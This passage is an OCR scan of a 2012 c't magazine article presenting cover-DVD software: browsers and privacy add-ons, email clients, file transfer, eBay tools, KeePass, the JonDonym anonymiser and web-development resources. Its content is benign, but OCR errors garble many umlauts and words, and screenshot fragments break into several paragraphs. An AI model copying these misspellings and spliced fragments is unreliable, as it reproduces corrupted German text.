Add-ons oder Plug-ins beibringen kann. Be-
reits nackt beeindruckt er mit einer langen
Feature-Liste: Popup-Blocker, Malware-
Schutz, Tabbed-Browsing, Tagging, Zoom-
Funktionen, intelligenter Adressleiste und
Passwort-Manager gehdren dazu. Mittlerwei-
le hat Mozilla auch den Update-Prozess im
Griff, sodass man nicht alle paar Wochen sei-
nen Browser gesund pflegen muss.

Wer sich gern abseits des

Mainstreams bewegt, fin-
det in Opera einen Exoten, der einerseits
sparsam mit Speicher und Rechenleistung
umgeht, wahrend er andererseits umfassend
ausgestattet ist mit E-Mail- und News-Client,
Schutz vor betriigerischen Webseiten, einem
Download-Manager, der Mdglichkeit, User-
Skripte auszufihren sowie dem Webentwick-
ler-Tool Opera Dragonfly. AuBerdem gibt es
mit Opera Mini und Mobile auch Browser fiir
Smartphone-Plattformen, auf denen Chrome
und Firefox bislang nicht vertreten sind. Den
gleichen Browser auf PC und Telefon einzu-
setzen hat den Vorteil, dass man die Lesezei-

chen synchronisieren kann. Nur unter Win-
dows lauft hingegen Opera@USB, das sich
ohne Installation von portablen Speicherme-
dien starten ldsst.

Den Reigen der Browser-

Add-ons eroffnet Hover-
Zoom: Die Chrome-Erweiterung zeigt auf
vielen Websites wie Amazon oder Picasa die
vergréBerte Version eines Bildes an, sobald
man den Mauszeiger Uber dieses schiebt.
Black Canvas ist ein Skript-Handler fur
Chrome, mit dem sich viele Greasemonkey-
Skripte ausfuhren lassen. Im Original ist
Greasemonkey eine Erweiterung fir Firefox.
Die Skripte verdndern das Aussehen von
Webseiten, fligen Funktionen hinzu oder au-
tomatisieren Abldufe. Man kann sie selbst in
einem erweiterten JavaScript programmie-
ren oder aus Sammlungen wie http://users-
cripts.org herunterladen.

Sowohl fiur Chrome als

auch fur Firefox gibt es La-
zarus Form Recovery, ein Backup-Tool fir
Formulareingaben. Das erweist sich als un-
geheuer nutzlich, wenn mal was schiefgeht:
Man klickt auf einen falschen Button, die
Foren-Software hat einen ausgeloggt, der
Browser hédngt sich auf oder die Internet-Ver-
bindung ist gestort. Dann lasst sich der sorg-
faltig formulierte Text, den man im Webfor-
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mular eingegeben hat, einfach wiederher-
stellen. Ebenfalls in den Geschmacksrichtun-
gen Chrome und Firefox erhaéltlich ist Collu-
sion, das anzeigt, wer einen beim Besuch
einer Website beobachtet. Collusion erzeugt
daraus eine Grafik, die das Netzwerk der
Schnuffler auf den besuchten Webseiten
sichtbar macht.

Die Schniiffler nutzen nicht

nur Cookies, sondern ver-
suchen auch, durch aktive Inhalte mehr tiber
den Surfer zu erfahren. Hinzu kommt das Ri-
siko, sich durch Sicherheitsliicken in Java-
Script, Java und anderen Plug-ins einen
Schadling einzufangen. Allerdings ware es
wenig sinnvoll, aktive Inhalte deshalb kom-
plett abzublocken, da das Web dann gehorig
an Reiz einblfBte. NotScripts blockiert in
Chrome solche Inhalte abhangig von der be-
suchten Website. Alternativ kann man dafir
eine Black- oder eine Whitelist fihren. Das
Original stammt auch bei dieser Erweiterung
von Firefox; dort heif3t es NoScript.

Das Ausblenden von Wer-

bebannern ist die Speziali-
tatvon Adblock Plus, das unter Firefox und
Thunderbird arbeitet. Per Mausklick auf Inhal-
te oder durch Eingabe von URLs lasst man sie
verschwinden; befllte und regelméaBig ak-
tualisierte Sperrlisten findet man im Netz.
Bevor Sie allerdings allzu griindlich Werbung
ausfiltern, bedenken Sie bitte, dass diese die
meisten der fur die Nutzer ansonsten kosten-
losen Angebote im Netz finanziert.
FlashBlock fir Firefox zeigt anstelle von
Flash-Inhalten nur Platzhalter. Erst wenn man
einen solchen anklickt, beginnt es zu zappeln.
Web of Trust (WOT) soll den Firefox-Nutzer
vor Webseiten warnen, auf denen ihnen Ab-
zocke oder anderes Ungemach droht. Die In-
formationen zur Vertrauenswirdigkeit liefert
die Community; das System ist nicht vollstan-
dig gegen Manipulation gefeit.

E-Mail

Als E-Mail-Programm emp-

fehlen wir Thunderbird:
Der Platzhirsch unterstitzt alle géngigen
Standards in seinem Revier und arbeitet
auch mit IMAP-Servern gut zusammen. Die
Windows-Version lauft mittlerweile auch
unter 64-Bit-Systemen zuverldssig. Zur
Grundausstattung gehort ein selbstlernen-
der Spam-Filter. Dartber hinaus lasst sich der
Mozilla-Mailer wie sein Browser-Bruder Fire-
fox nahezu beliebig erweitern. Fir Windows
enthdlt die DVD auBerdem Thunderbird
Portable, das man an beliebigen PCs vom
USB-Stick oder aus der Cloud starten kann.

Die Erweiterung Attach-
mentExtractor erleichtert
das Verwalten grof3er Mail-Mengen: Sie ladt
die Anhénge beliebig vieler markierter Nach-
richten in einem Rutsch herunter, trennt sie
ab oder [6scht sie und markiert die Nachrich-
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ten auf Wunsch als gelesen. IMAPSize hilft
beim Organisieren von IMAP-Konten. Web-
Mail Notifier berwacht Webmail-Konten
unter anderem bei Google, Hotmail und
Yahoo. So erféhrt man, wenn neue Nachrich-
ten eintreffen und wie viele ungelesene war-
ten. Per User-Skript |asst sich die Erweiterung
an‘andere Dienste anpassen, etwa GMX oder
Web.de.

Auch wenn es Newsletter-

Versender anders sehen,
das Standardformat fur E-Mails ist reiner Text
und als solchen sollte man sie auch 6ffnen.
Schon weil das Tricks verhindert, wie das
Nachladen von Bildern als Bestatigung, dass
die Nachricht geoffnet wurde, oder das Ver-
schleiern von Phishing-Links. Die Erweite-
rung Allow HTML Temp schaltet bei Bedarf
schnell zur HTML-Ansicht um, falls es im Ein-
zelfall notig ist, ohne dass man Thunderbird
dazu umkonfigurieren muss.

Wahrend Thunderbird unter Windows
das Verschlisseln und Signieren von
Mails mit S/MIME unterstitzt, muss man PGP
nachrusten. Enigmail stellt dazu die Verbin-
dung zwischen einem installierten GnuPG

3 2atsore
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Bereits nach
dem Besuch
weniger Web-
seiten visualisiert
die Browser-
Erweiterung
Collusion, dass
Werbenetzwerke
ihren Namen
verdienen.

(z.B. Gpg4win) und dem Mail-Client her. Aus-
gehende Nachrichten kann man dann signie-
ren und verschlisseln, wobei sich Standard-
schlissel und andere Einstellungen fiir jedes
Konto getrennt vorgeben lassen. Eingehen-
de Nachrichten pruft Enigmail auf Gultigkeit
der Signatur und entschlisselt sie.

Etwas irrefihrend ist der

Name von Nostalgy: Die
Erweiterung schreibt E-Mails nicht mit Tinte
auf Blttenpapier, sondern lasst einen typi-
sche Arbeitsschritte wie das Kopieren von E-
Mails oder das Navigieren durch Ordner tber
Tastenkdirzel steuern. Das ist keineswegs alt-
modisch, sondern oftmals einfach schneller
als Mausgeschubse.

In die gleiche Kerbe schlagt

Quicktext, das selbst er-
stellte Textbausteine in E-Mails einfugt. Auch
dafiir kann man Tastenkdirzel anlegen; die Er-
weiterung erkennt aber auch Abkirzungen
oder ldsst sich per Fensterleiste maussteuern.
Die Textbausteine konnen Variablen wie Emp-
fangername, das aktuelle Datum oder einen
Platzhalter enthalten, flr den der Inhalt der
Zwischenablage eingesetzt wird.

MailStore
Home archi-
viert E-Mails
aus verschie-
denen Quellen
und lasst einen
das Archiv
nach diversen
g Kriterien
flexibel durch-
suchen.
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Teamviewer Uibertragt auch Dateien,
seine Hauptaufgabe ist es aber,

einen anderen Computer libers Internet
fernzusteuern.

In der E-Mail lagern oft wichtige Daten

wie Passworter oder Rechnungen. Es
drangt sich auf, diese regelmaBig zu sichern,
etwa auf einer USB-Festplatte oder auf
CD/DVD. MailStore Home archiviert die
Nachrichten direkt vom IMAP/POP3-Server,
aus dem lokalen E-Mail-Programm (z. B. Thun-
derbird) oder aus Webmail-Diensten wie
Google oder GMX. Es legt dabei eine Daten-
bank mit schneller Suchfunktion an. Man kann
die Mails daraus in verschiedenen Formaten
exportieren, sodass MailStore Home auch
beim Wechsel des Mail-Clients gute Dienste
leistet.

Dateitransfer

Dropbox ist der USB-Stick von

heute. Der Client des gleichnami-
gen Cloud-Dienstes legt auf der Festplatte ein
Verzeichnis an und kopiert alle Dateien, die
dort landen, ins Internet. Hat man den Client
auf einem zweiten Computer (oder Mobilge-
rat) installiert, 1adt er dort alles, was er im
Dropbox-Konto findet, ins lokale Verzeichnis
herunter. Mit diesem einfachen Konzept las-
sen sich Dateien, die man auf mehreren Sys-
temen bearbeitet, problemlos synchron hal-
ten. Versehentlich Gberschriebene Dateiver-
sionen stellt Dropbox auf Wunsch wieder her.
Man kann sogar Software wie Thunderbird
Portable aus der Dropbox starten.

Free Download Manager beschleu-

nigt das Herunterladen grof3er Da-
teien, indem es sie in Abschnitte aufteilt und
diese gleichzeitig aus dem Netz saugt; sofern
mdoglich auch von verschiedenen Servern.
Gerade bei schnellen Internet-Zugéngen be-
schleunigt das groBe Downloads enorm, da
die Server die Ubertragung hiufig bremsen.
Der Universalist beherrscht nicht nur die
Standardprotokolle FTP und HTTP, sondern
saugt auch aus dem BitTorrent-Netz sowie
von Videodiensten wie YouTube.

Computer sperren

Entfemten Computer neustarten

Tastenkombinationen Gbertragen
Eingaben am entfemten Computer deaktivieren
Anzeige am entfernten Computer deaktivieren

News  Newsticker 7-Tage-News Archiv

Wenn eine Wartung von Muttis

PC ansteht, kann man das mit
einem Wochenendbesuch verbinden - oder
die Arbeit per Fernwartung mit TeamViewer
erledigen. Der steuert den Desktop eines
entfernten Rechners tibers Internet, um dort
zum Beispiel Systemeinstellungen zu éndern
oder Software zu installieren. AuBBerdem
zeichnet TeamViewer Sitzungen auf, um eine
Anleitung furs nachste Mal zu haben, und
Ubertragt Dateien. Die Software eignet sich
auch zur Steuerung unbemannter Server.

eBay

Zwar gewinnt der Handel mit Neuware

zum Sofortkauf auf eBay allmahlich die
Oberhand, aber es gibt dort immer noch
Schnéppchen zu ersteigern. Biet-O-Matic ist
ein Auktionsbeobachter und Last-Minute-
Bietautomat, der die Jagd nach glinstigen
Angeboten erleichtert, auch auf Hood und
eGun. Eine Erweiterung fiir Firefox uber-
nimmt Auktionen direkt per Kontextmendu in
das Programm, das dann hilft, im richtigen
Moment zuzuschlagen. Es informiert per E-
Mail, etwa wenn der vorgemerkte Betrag be-
reits Uberboten wurde. Biet-O-Matic funktio-
niert auch, wenn das Konto mit einem Si-
cherheitsschllssel geschitzt ist.

Die Vollversion eBay SmartSeller

Startup Edition erleichtert den regel-
maRigen Verkauf gleicher oder dhnlicher Ar-
tikel durch editierbare Templates. Es schreibt
nach Abschluss eines Geschéfts die Rech-
nung, wenn notig auch Mahnungen und
druckt Versandaufkleber. Der Nachrichten-
manager organisiert den E-Mail-Verkehr mit
den Kunden und verwaltet Newsletter. Um-
satzlibersicht und Gebuhrenstatistik zeigen,

Datei Bearbeiten Apgebot Browser Datenbank Module Eavoriten Ansicht ?
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Geben Sie thren Sicherheitscode ein

Die Vollversion eBay
SmartSeller funk-
tioniert auch mit
Konten, die durch
einen Sicherheits-
schliissel geschiitzt
sind.
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Dricken Sle die Taste auf hrem Sicherheitsschiissel und geben Sie den sechsstelligen Code unten ein.

Sie Ihren 6-stelligen Sicherheitscode ein

22.06.1208:40:35 117

Neustart

Im abgesicherten Modus neustarten

Foren

wie gut die Geschéfte laufen. Das Programm
installiert sich als Free-Version, beschrankt
auf 5 Artikel und 500 Auktionen. Um daraus
kostenlos eine StartUp-Version zu machen,
die 100 Artikel und beliebig viele Auktionen
verwaltet, missen Sie sich unter Angabe per-
sonlicher Daten auf www.smartstore.com/
heise/ct1512/sel registrieren, die ID lautet
heisect1512sel. Nach Abschluss der Registrie-
rung erhalten Sie per Mail einen Lizenz-
schlUssel, den Sie im Meni unter ,?/Lizenzie-
ren..."” eingeben.

Der eBay-Browser GarageBuy erleich-

tert die Suche nach Auktionen und So-
fortkauf-Angeboten. Er aktualisiert Ange-
botsseiten automatisch, zeigt eine Ubersicht
mit Thumbnails aller Auktionsbilder und
nutzt das Meldesystem Growl zum Anzeigen
von Informationen auf dem Desktop, um bei-
spielsweise ein gedndertes Hochstgebot zu
melden.

Allerlei

Online-Chat ist zwar uralt, aber total in.

Denn seit der standige Kontakt zum
sozialen Netzwerk das Befinden der eigenen
Personlichkeit bestimmt, gilt E-Mail als zu
langsam und Telefonieren als zu aufdring-
lich. Miranda IM ist auf samtlichen géngigen
Plattformen wie AIM, Facebook, ICQ, Yahoo
und Jabber zu Hause. Mit Add-ons lasst sich
das Programm fiir zahlreiche Sprachen und
zusatzliche Aufgaben erweitern.

Pidgin ist ein weiterer Instant-

Messaging-Client, der viele der
gangigen Netze auch unter Linux erschlieft.
Mit Miranda gemein hat er die Erweiterbar-
keit.

Wie viele Passworter konnen Sie

sich merken? Nicht diese einfa-
chen, die haufig schon beim Anlegen eines
Kontos abgelehnt werden, sondern jene mit
Grof3- und Kleinbuchstaben, Ziffern und Son-
derzeichen, mindestens achtstellig, besser
langer. Und wie viele Konten und Zugénge
nutzen Sie? Wenn bei Ihnen die erste Zahl
kleiner ausfallt als die zweite, bendtigen Sie
KeePass Password Safe, das lhre Passwort-
sammlung in Obhut nimmt - geschitzt
durch ein sicheres Masterpasswort. Prakti-
scher Zusatznutzen: Wenn Sie ein neues
Konto anlegen, liefert Ihnen das Tool das
passende, sichere Passwort daflir. KeePassX
ist das Pendant fur Mac OS X, das die Daten-
bank der Windows-Version lesen kann. (ad)
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Maskenball

Google und Konsorten

schauen uns beim Surfen
Uber die Schulter und sammeln Informatio-
nen, was uns'im Web so interessiert. Sie
meinen es ja nur gut; schlieBlich wollen sie
niemanden mit Werbung belastigen, die
ihn gar nicht interessiert. Doch langst nicht
jedem geféllt es, zum Beispiel mit Anzeigen
von Online-Apotheken uberflutet zu wer-
den, nachdem er eine Aids-Aufkldarungs-
seite besucht hat.

Sich unerkannt an den Sensoren der Werbe-
netze und Tracking-Dienste vorbei zu
schleichen ist allerdings kein leichtes Unter-
fangen. Die Online-Spione greifen namlich
von mehreren Seiten an: Sie erkennen den
Internet-Anschluss an der IP-Adresse und
den Browser anhand von Daten, die sie
zuvor abgelegt haben oder die sie mit
Skripten aus dem System lesen.

Nur wer seinen Browser und die Plug-ins
richtig einstellt, deren diverse Speicher regel-
maBig reinigt, die Ausfiihrung von Spionage-
Skripten verhindert und seine IP-Adresse ver-
schleiert, hat die Chance, so wenig Spuren zu
hinterlassen, dass er anonym unterwegs ist.
Es gibt viele Produkte, die das versprechen,
doch nur wenige gehen alle Punkte an. Dazu
gehort JonDonym.

Die erste Komponente ist JonDo, das den
Internet-Traffic durch eine Proxy-Kaskade
leitet, um die IP-Adresse zu verschleiern. Die
Daten werden von Station zu Station wei-
tergereicht, wobei jede die Absender-IP
durch ihre eigene ersetzt. Nur sie hat Zugriff
auf die Adresse der vorangehenden Station
und kann die Antwortpakete dorthin zu-
ruckleiten. Die Kaskade arbeitet nach dem
Mix-Prinzip: Selbst wenn jemand den einge-
henden und ausgehenden Datenverkehr
der Kaskade tberwachen koénnte, wiirde er
nicht erfahren, wer auf welchen Server zu-
greift.

V¥ SpeedPartner-Cyrax:

Nutzerzahl: 551 /1000
Betreiber:

Geschwindigkeit: 40 kbit/s
Antwortzeit: = 1000 ms

End-IP-Adresse:

Restvolumen:
» Ubertragene verschlusselte Daten:

» Hilf anderen Menschen (Anti-Zensur) [_] Ein

Assistent...

0 Byte Aktivitat:

Um diesen Mechanismus zu nutzen, muss
man JonDo von der Heft-DVD installieren
und im Browser als Proxy eintragen. Die
kostenlose Version des Dienstes ist auf 30
bis 50 KBit/s pro Sekunde gedrosselt, auf
2 MByte groBe Downloads begrenzt und
bedient nur die HTTP(S)-Ports. Der kosten-
pflichtige Premium-Dienst liefert tblicher-
weise zwischen 600 KBit/s und 1,5 MBit/s,
sperrt lediglich den SMTP-Port (wegen
Spam) und kann von allen SOCKS5-fahigen
Programmen genutzt werden.

Die Premium-Tarife werden nach dem Volu-
men der Ubertragenen Daten abgerechnet.
Mit dem 16-stelligen Gutscheincode, der
Uber ,Audio-Video” auf der Heft-DVD aufge-
druckt ist, erhalten Sie 1,5 GByte, die Sie
zwischen 1. Juli und 30. September 2012
nutzen koénnen. Den JonDonym-Code
geben Sie wahrend der Installation ein. Ach-
tung: Der Code funktioniert nicht, wenn Sie
im Client bereits ein Konto angelegt haben;
Sie mussen diesen dann mit allen Kontoein-
stellungen (vorher sichern) deinstallieren
und neu aufsetzen.

Die IP-Adresse zu verschleiern ist aber nur
ein erster Schritt in Richtung Anonymitat.
Um ganz ans Ziel zu gelangen, muss man
auBBerdem den Firefox-Browser und das Zu-
satzprogramm JonDoFox installieren. Letz-
teres stellt angefangen bei der Suchmaschi-
ne alles auf maximalen Schutz vor Spahern
ein. AuBerdem installiert das Programm et-
liche Erweiterungen, die unter anderem
verhindern, dass der Browser zu viel Uber
sich, das System oder zuvorbesuchte Seiten
verrat. Um alles zu aktivieren, wahlt man im
Browser das Profil ,JonDoFox”. Dann wird
auch der zuvor installierte JonDo-Proxy ge-
nutzt.

Auf der DVD sind JonDo und JonDoFox fiir
die drei Betriebssysteme in je einem Zip-
Archiv zusammengefasst. AuBBerdem ist
noch das ISO-Image einer bootfdhigen

Einstellungen...

¥ Locke-Goose-Pluto:
Nutzerzahl: 19
Betreiber:

Locke [*] -Goose & -Pluto

Software-Kollektion | Internet: Clients

Firefox speichert Ihre persénlichen Einstellungen und Daten in
Ihrem perstnlichen Profil.

& default

Profil grstellen... & JonDoFox

Profil ymbenennen...
Profi| 18schen...

Jetzt offline arbeiten

_, Beim Starten nicht
@ nachfragen

Firefox starten Beenden

JonDoFox schiitzt Firefox vor Spionage-
versuchen. Um die Schilde hochzufahren,
wechselt man ins Profil JonDoFox.

Live-CD enthalten, die ein fertig konfi-
guriertes Linux zum anonymen Surfen,
Mailen oder Verwalten eines Servers ent-
halt. Allerdings ist das Booten von (D eine
recht zéhe Angelegenheit. Es empfiehlt
sich daher, das Image bootfahig auf einen
USB-Stick zu packen. Wie das mit UNet-
bootin einfach geht und was man mit der
CD alles anfangen kann, ist unter www.
anonym-surfen.de/help-live-cd/jondo-live-
cd.html beschrieben.

StandardmaBig finden bei der Live-CD alle
Schreibzugriffe auf der RAM-Disk statt, so-
dass das Geschriebene nach dem Neustart
verloren ist. Wenn man also mit der Live-
CD ein Premium-Konto anlegt und den
Gutscheincode verwendet, muss man die
Kontodaten vor dem Neustart unbedingt
exportieren. Das geht am einfachsten mit
einem zweiten USB-Stick, der beim Booten
automatisch als beschreibbares Laufwerk
eingebunden wird. Uber ,Einstellungen/
Bezahlung/Konten/Export” speichert man
die Daten dort als passwortgeschitzte
Datei ab, die sich Ubrigens auch in die
Clients unter Windows und Mac OS X im-
portieren lasst.

Elnstellungen...

|

Geschwindigkeit: = 800 kbit/s

Antwortzeit:
End-IP-Adresse:

Bezahlen Restvolumen:

Aktivitat:

Beenden

» Ubertragene verschlusselte Daten:

» Hilf anderen Menschen (Anti-Zensur) [] EIn

1000-750 ms
64.118.81.1585

1.497,0 MByte
13,0 KByte Aktivitat:

Aktivitat:

Assistent... Beenden

Nach Eingabe des Gutscheincodes auf der Heft-DVD erh6ht

sich die Geschwindigkeit des anonymen Surfens betrachtlich.

c't2012, Heft 15

115



m eine einfache Webseite zu gestalten,

genigen als Handwerkszeug ein Text-
editor, ein Bildbearbeitungsprogramm sowie
ein Browser. Allerdings sollte man schon ver-
stehen, was man damit tut. Insbesondere als
Einsteiger steht man oft wie der sprichwort-
liche Ochs vorm Berg.

Lernstoff

X Es wadre schon, mal von
einem Profi ohne Zeit-
druck erklart zu bekommen, was HTML und
CSS eigentlich sind, wie die verschiedenen
Standards zusammenhdngen und wie in wel-
chem Browser man Webdokumente testet.
Zum Beispiel in einem detaillierten Videotrai-
ning. Das hat den Vorteil, dass man sich jedes
Kapitel in Ruhe so oft ansehen kann, bis man

wirklich alles erfasst hat.
Die DVD enthélt die ersten Kapitel des Vi-
deotrainings HTML und CSS - Einstieg fiir

116

Anspruchsvolle von video2brain. Trainer
Anselm Hannemann, der eine eigene Web-
Agentur betreibt, beschreibt darin zunachst
die Geschichte von HTML, CSS und Java-
Script und wie HTML-, CSS- und JavaScript-
Dateien in einer Webseite zusammen-
spielen.

Hannemann stellt kurz Texteditoren und
Adobe Dreamweaver fir die Bearbeitung
von Web-Dateien vor. AnschlieBend gehtes
um die Grundlagen der Auszeichnung mit
Tags, Attributen, Werten und Kommentaren
sowie Codeformatierungen und elementare
Dokumenteigenschaften: das Grundgerust,
um den Aufbau von Webseiten nachvollzie-

hen zu kdnnen.

e X Webtechniken entwickeln
1 sich laufend weiter. Beson-

ders Cascading Stylesheets sind in den letz-

ten Jahren stark erweitert worden. Das eroff-

net dem Webdesigner neue kreative Mog-

lichkeiten, stellt ihn aber auch vor immer
neue Probleme. Mitunter treiben ihn
Browser-Bugs zur Verzweiflung, und es stellt
sich immer wieder die Frage: Kann er Funk-
tionen nutzen, die bereits von einigen
Browsern unterstitzt werden, von anderen
aber nicht?

Das Buch Fortgeschrittene CSS-Techni-
ken von Ingo Chao und Corina Rudel, er-
schienen bei Galileo Computing, greift die
Probleme auch erfahrener Webdesigner und
Entwickler auf. Die vier Kapitel des Buchaus-
zugs auf der DVD behandeln allesamt ,CSS-
Prinzipen, die nicht selbsterkldrend sind”.
Dazu gehort unter anderem die Spezifikati-
on, die drgerlicherweise Graubereiche ent-
hélt: Bereiche, die verschiedene Browser-
Hersteller unterschiedlich umgesetzt haben,
ohne dass bis auf Weiteres ein gemeinsamer
Standard in Sicht ist.

Aber auch auf den ersten Blick elementar
erscheinende Dinge wie die vertikale oder
horizontale Anordnung von Elementen han-
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gen so vielen Faktoren ab, dass man
schon mal den Uberblick verlieren kann. Die
Autoren demonstrieren mit vielen kleinen
Beispielen, was schiefgehen kann, und
geben Tipps fur den Umgang mit Inkonsis-
tenzen in modernen Browsern.

JavaScript wurde urspriing-

lich als einfaches Helferlein
entwickelt, um mit dem Browser zum Beispiel
Formulareingaben tberpriifen kénnen, bevor
er sie an den Server sendet. Mittlerweile lau-
fen komplette Office-Suiten im Browser; ohne
den massiven Einsatz von JavaScript wéren
viele Dienste nicht denkbar.

Wer als Webentwickler JavaScript einsetzt,
sollte daher — wie bei jedem anderen Soft-
ware-Projekt auch — wartbaren Code produ-
zieren. Stoyan Stefanov beschreibt in seinem
bei O'Reilly erschienenen Buch JavaScript
Patterns, wie Muster helfen kdnnen, Fehler
zu vermeiden. Er richtet sich dabei gezielt an
erfahrene Programmierer, die ihre Program-
mierfahigkeiten ausbauen wollen.

Muster sind dabei im weitesten Sinne L6-
sungen fur haufig auftretende Probleme.
Dabei kann es sich um so einfache Dinge
handeln wie Namenskonventionen, die zum
Beispiel helfen, mit einem Blick auf die
Namen sehen zu kénnen, ob eine Funktion
als Konstruktor oder als normale Funktion
fungiert.

Der heilige Gral der Anwen-

dungsprogrammierung ist
heutzutage fir viele die Entwicklung von
Apps fur Mobilgerate. Etliche Webdienste und
Periodika bringen Apps heraus, um ihre Inhal-
te auch auf Smartphones oder Tablets préasen-
tieren zu kénnen. Aber welche Plattformen
gilt es zu berticksichtigen? Entwickelt man na-
tive Apps, die nur auf den jeweiligen Zielplatt-
formen laufen, oder setzt man auf Flash, Java
oder HTML5? Und welche Entwicklungsum-
gebung nutzt man fiir welchen Zweck? Diese

Ingo Chao
Corina Ruded

Ingo Chao und Corina Rudel geben in
ihrem Buch Hilfestellungen bei vielen
vertrackten CSS-Problemen.
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Fragen beantwortet der englischsprachige
Mobile Developer’s Guide To The Galaxy
von Enough Software.

Das Buch, das bereits in der zehnten Auf-
lage vorliegt, begleitet angehende Mobilent-
wickler auf den ersten Schritten. Fur alle
Plattformen - Android, bada, Blackberry,
Flash, iOS, J2ME, Qt, Symbian, Windows
Phone, Windows 8 und ,Mobile Widgets” auf
Basis von HTML, CSS und JavaScript - reif3t
das Biichlein kurz die wichtigsten Themen
wie Voraussetzungen, Implementieren, Tes-
ten und Veroffentlichen an.

Kapitel zu Themen wie Cross-Plattform-
Werkzeuge, Mobil-Websites, Rich Media, NFC
und Accessibility fehlen ebenfalls nicht. Das
Buch bietet keine vollstandigen Program-
mieranleitung(en), sondern vielmehr eine
kompakte Ubersicht, was es alles gibt, und
vor allem: viele wertvolle Hinweise auf wei-
terfuhrende Websites und Literatur zu allen
Themen.

Schreibgehilfen

Auch wenn Puristen HTML und Co. lieber mit
dem Texteditor bearbeiten, weil sie damit
die volle Kontrolle Gber den Quelltext haben
- manchmal kann ein WYSIWYG-Editor eine
groBe Hilfe sein.

Mit Coding Patterns und Entwnsfsmustern
zu besseren JavasScri pt-Anwendungen
Stoyan Sefanor
. Deutsche Obersetzung
OREILLY" | 'YAHOOLPRESS . 7 tromimiy

Wie JavaScript Patterns helfen,
sauber zu skripten, erklart Stoyan
Stefanov.

Trainer Anselm
Hannemann erklart
in ,HTML und

CSS - Einstieg fiir
Anspruchsvolle” die
Grundlagen der
Webentwicklung.

Kompozer ist zum Beispiel

gut geeignet, wenn es
darum geht, einen schnellen Entwurf umzu-
setzen oder mal rasch eine Layoutvariante
auszuprobieren. Der Editor kann dazu eine
Seite direkt von ihrer Web-Adresse laden. Mit
dem eingebauten CSS-Editor gemachte An-
derungen am Layout zeigt Kompozer in der
WYSIWYG-Ansicht an. Das Programm enthalt
einen integrierten FTP-Client und einen Site-
Manager, mit dem man die komplette Site
verwalten kann.

Der Entwickler kann jederzeit zwischen
einer reinen Vorschau, einer Vorschau mit
den HTML-Boxen inklusive Verweisen auf
Skripte und Kommentare sowie einer Vor-
schau mit Tags umschalten. AuBBerdem hat er
immer Zugriff auf den Quelltext. Kompozer
erzeugt HTML 4.0 oder XHTML 1.0 (strict oder
transitional). Das Programm ldsst sich durch
Add-ons erweitern, etwa mit deutschen
Sprachdateien fiir die Bedienoberflache und
die Rechtschreibkorrektur, einem DOM In-
spector oder einem Link Checker.

Der HTML-Editor ist aus dem Nvu hervor-
gegangen, der wiederum von der Editor-Kom-
ponente in Mozillas Browser-Suite abstammt.
Kompozer wurde lange Zeit nicht mehr ak-
tualisiert. Die auf der DVD enthaltene Version
0.8 beta3 stammt aus dem Méarz 2010.

Don't Panic
MOBILE DEVELOPER'S
GUIDE TO THE GALAXY

Der Mobile Developer’s Guide To
The Galaxy ist ein Wegweiser fiir
angehende Mobil-Entwickler.

17



Software-Kollektion | Software fiir Web-Entwickler

‘Mit Website X5
pflegt man seine
Website vom PC
aus.

Platperen Se das Objekt

verfighere Objekte
2 Ersteflen der Stemap
3 Erstelien der Seken
4 Erweiterte Einstefiungen
7 voxhas
< Inhalte-Verwalter

ﬁ X BlueGriffon ist ebenfalls

; ein Abkdmmling von Nvu.
Das Programm wird aktiver weiterentwickelt
als Kompozer; die auf der DVD enthaltene
Version stammt aus dem Mai 2012. Auf den
ersten Blick erscheint BlueGriffon so vielseitig
wie Kompozer. Allerdings sind einige Meni-
punkte nur Links auf kostenpflichtige Erwei-
terungen. Wer zum Beispiel auf ,CSS Style-
sheet Editor” klickt, der landet auf der Add-
ons-Website: Die Erweiterung CSS Pro Editor
ist dort fuir 9,99 Euro zu erwerben. Auch die
,One Click Template” oder der MathML-Edi-
tor sind nur gegen Bares erhdltlich.

Dass BlueGriffon kommerzieller ausgerich-
tetist als Kompozer, wirkt sich bereits bei der
Installation aus. Die Schnellinstallation von
Blue Griffon richtet eine Werbeleiste im
Browser ein; daher sollte man die erweiterte
Installationsvariante nutzen (Custom Installa-
tion), in der man das vermeiden kann.

Nichtsdestotrotz ist BlueGriffon ein leis-
tungsfahiger HTML-Editor, der schon von
Haus aus eine deutsche Bedienoberflache
und Rechtschreibkorrektur mitbringt. Der
Benutzer kann zwischen einer WYSIWYG-An-
sicht mit hervorgehobenen Kommentaren
oder einer Tag-Ansicht umschalten; alterna-
tiv steht jederzeit der Quelltext bereit.

Inhalte-Verwalter

Waéchst die Website, ldsst sie sich ,von Hand”,
mit Texteditor und FTP-Programm nicht
mehr sinnvoll verwalten. Ein Profi muss ran,
ein sogenanntes Content Management Sys-
tem, kurz CMS. CMS machen es Gberhaupt
erst moglich, komplexere Websites im Team
sinnvoll zu betreiben.

Wernoch nie mit einem CMS zu tun ge-

habt hat, wird vermutlich mit einem
Desktop-CMS zundchst am besten klarkom-
men. Es lauft als PC-Anwendung. Die DVD
enthadlt die Version 9 des Desktop-CMS Web-
site X5 Smart. Unter der Adresse www.
websitex5.com/magazine/ct2012 erhalten
Sie einen Schlussel, der das Programm dauer-
haft freischaltet. Diese Aktion lauft bis zum
31.12.2012.
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Wadist che Websste, isst se sich “von Hand", 1
en sogenanntes Contert Management System,
sinvol 2u betreden.

Website X5 fuhrt den Benutzer beim Ent-
wurf einer neuen Website durch einen Assis-
tenten. Zundchst legt man den Titel und die
URL der Seite fest, auch eine Beschreibung
und ein Favicon lassen sich dort vergeben. An-
schlieBend stellt das CMS 36 Layouts zur Wahl,
die zudem noch in mehreren Farbvarianten
vorliegen. Auf Wunsch lassen sich auch indi-
viduelle Grafiken fur das Layout verwenden.

Nach dem Layout entwirft man die Site-
map, also die Struktur seiner Site. Unter der
Hauptebene lasst sich mit Website X5 Smart
eine weitere Ebene anlegen, maximal stehen
25 Seiten zur Verfligung - fur eine private
oder kleine Vereins-Homepage vollig ausrei-
chend. Der Gestaltung einzelner Seiten legt
Website X5 ein tabellenartiges Raster zugrun-
de. StandardmaBig stehen zwei mal zwei Fel-
der fiir Inhalte bereit; der Benutzer kann aber
auch weitere Zeilen und Spalten einfligen.

In jedes Rasterfeld fiigt man einen Text,
ein Bild, eine Flash-Animation, ein Video-
oder Audioelement ein. Fur Texte stellt Web-
site X5 einen WYSIWYG-Editor bereit, andere
Inhalte lassen sich entweder von der Fest-
platte laden oder mit ihrer URL verlinken.
Nach der Bearbeitung der Seiten lddtder ein-
gebaute FTP-Client von Website X5 sie auf
den Server. Wer mit der Smart-Version von
Website X5 an seine Grenzen st6it, kann auf
eine groBere Version des Programms umstei-
gen (ab 29,95 Euro).

